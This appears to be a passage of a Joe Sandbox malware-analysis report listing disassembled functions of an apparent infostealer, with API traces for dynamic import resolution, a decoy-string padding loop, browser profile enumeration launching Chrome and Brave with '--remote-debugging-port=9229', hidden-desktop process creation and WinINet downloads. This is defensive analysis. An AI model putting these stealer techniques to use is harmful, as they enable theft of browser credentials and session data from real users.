GetProcAddress.KERNEL32(750F0000,02CC1658), ref: 0041A5C3
GetProcAddress.KERNEL32(750F0000,02CC1798), ref: 0041A5DB
GetProcAddress.KERNEL32(750F0000,02CC4DC0), ref: 0041A5F3
GetProcAddress.KERNEL32(750F0000,02C427C0), ref: 0041A60C
GetProcAddress.KERNEL32(750F0000,02C42840), ref: 0041A624
GetProcAddress.KERNEL32(750F0000,02CC1400), ref: 0041A63C
GetProcAddress.KERNEL32(75A50000,02CC4CE8), ref: 0041A662
GetProcAddress.KERNEL32(75A50000,02C425A0), ref: 0041A67A
GetProcAddress.KERNEL32(75A50000,02CBEC60), ref: 0041A692
GetProcAddress.KERNEL32(75A50000,02CC4D00), ref: 0041A6AB
GetProcAddress.KERNEL32(75A50000,02CC4E80), ref: 0041A6C3
GetProcAddress.KERNEL32(75A50000,02C42640), ref: 0041A6DB
GetProcAddress.KERNEL32(75A50000,02C426C0), ref: 0041A6F4
GetProcAddress.KERNEL32(75A50000,02CC4E38), ref: 0041A70C
GetProcAddress.KERNEL32(75A50000,02CC4E50), ref: 0041A724
GetProcAddress.KERNEL32(75070000,02C426A0), ref: 0041A746
GetProcAddress.KERNEL32(75070000,02CC5330), ref: 0041A75E
GetProcAddress.KERNEL32(75070000,02CC52E8), ref: 0041A776
GetProcAddress.KERNEL32(75070000,02CC5258), ref: 0041A78F
GetProcAddress.KERNEL32(75070000,02CC50F0), ref: 0041A7A7
GetProcAddress.KERNEL32(74E50000,02C42540), ref: 0041A7C8
GetProcAddress.KERNEL32(74E50000,02C42780), ref: 0041A7E1
GetProcAddress.KERNEL32(75320000,02C426E0), ref: 0041A802
GetProcAddress.KERNEL32(75320000,02CC5240), ref: 0041A81A
GetProcAddress.KERNEL32(6F060000,02C42500), ref: 0041A840
GetProcAddress.KERNEL32(6F060000,02C427E0), ref: 0041A858
GetProcAddress.KERNEL32(6F060000,02C42560), ref: 0041A870
GetProcAddress.KERNEL32(6F060000,02CC5270), ref: 0041A889
GetProcAddress.KERNEL32(6F060000,02C42700), ref: 0041A8A1
GetProcAddress.KERNEL32(6F060000,02C428A0), ref: 0041A8B9
GetProcAddress.KERNEL32(6F060000,02C425E0), ref: 0041A8D2
GetProcAddress.KERNEL32(6F060000,02C42820), ref: 0041A8EA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(74E00000,02CC5180), ref: 0041A939
GetProcAddress.KERNEL32(74E00000,02CBEC30), ref: 0041A951
GetProcAddress.KERNEL32(74E00000,02CC5090), ref: 0041A969
GetProcAddress.KERNEL32(74E00000,02CC5360), ref: 0041A982
GetProcAddress.KERNEL32(74DF0000,02C42600), ref: 0041A9A3
GetProcAddress.KERNEL32(6D0E0000,02CC5198), ref: 0041A9C4
GetProcAddress.KERNEL32(6D0E0000,02C42620), ref: 0041A9DD
GetProcAddress.KERNEL32(6D0E0000,02CC5168), ref: 0041A9F5
GetProcAddress.KERNEL32(6D0E0000,02CC50D8), ref: 0041AA0D

Strings

InternetSetOptionA, xrefs: 0041A8F5
HttpQueryInfoA, xrefs: 0041A90C

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction ID: ab2078f5f47aa6eaeaf83cafc0758b5ab509dada1718e255d3e4d65f54e1cbb6
Opcode Fuzzy Hash: 5eea1aac99bf7e535a43d37b45fc3319ad1af7de06c44669e1522cdce20b9fba
Instruction Fuzzy Hash: BA413F79740624ABD7109FE5FC4DADCBF70AB4C701BA08062F90A99190C7F993859B7D

Function 0040BE40 Relevance: 63.7, APIs: 29, Strings: 7, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2F,00000000,?,?,?,00421450,00420B2E), ref: 0040BEC5
StrCmpCA.SHLWAPI(?,00421454), ref: 0040BF33
StrCmpCA.SHLWAPI(?,00421458), ref: 0040BF49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C8A9
FindClose.KERNEL32(000000FF), ref: 0040C8BB

Strings

Brave, xrefs: 0040C0E8
Google Chrome, xrefs: 0040C6F8
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C495
Preferences, xrefs: 0040C104
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C534
--remote-debugging-port=9229 --profile-directory=", xrefs: 0040C3B2
\Brave\Preferences, xrefs: 0040C1C1

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: f04da1f1472c36b974211512799ecf69831f39174f26e50e9131e4078213df3d
Instruction ID: 94c18d54b217f3a33de79012ae3cbc39d408ee074d55138b38aa149d1ce8c153
Opcode Fuzzy Hash: f04da1f1472c36b974211512799ecf69831f39174f26e50e9131e4078213df3d
Instruction Fuzzy Hash: 5C52A871A011049BCB14FB61DC96EEE733DAF54304F4045AEF50A66091EF386B98CFAA

Function 00409E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00409E47

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,02CC1280,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

wsprintfA.USER32 ref: 00409E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00409EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00409ECC
memset.MSVCRT ref: 00409EED
lstrcatA.KERNEL32(00000000,?), ref: 00409F03
lstrcatA.KERNEL32(00000000,?), ref: 00409F17
lstrcatA.KERNEL32(00000000,004212D8), ref: 00409F29
memset.MSVCRT ref: 00409F3D
lstrcpy.KERNEL32(?,00000000), ref: 00409F7C
memset.MSVCRT ref: 00409F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0040A004
Sleep.KERNEL32(00001388), ref: 0040A013
CloseDesktop.USER32(00000000), ref: 0040A060

Strings

D, xrefs: 00409FA4

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction ID: 9351db1e319cd03a78e50f41365f33c4a7b54471eb3ec1f6bde0cae738676000
Opcode Fuzzy Hash: 3d12e0d4e43fffb5f9c536bbb0717a46f105a0d2b025c8c9b9a4228219c638b9
Instruction Fuzzy Hash: B551B3B1D04318ABDB20DF60DC4AFDA7778AB48704F004599F60DAA2D1EB75AB84CF55

Function 00405000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DE3,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(+aA,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT(00000000,?,00000001), ref: 004050DA
InternetCloseHandle.WININET(+aA), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Strings

+aA, xrefs: 00405105, 0040508D, 00405090, 00405108
+aA, xrefs: 00405051, 00405134

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
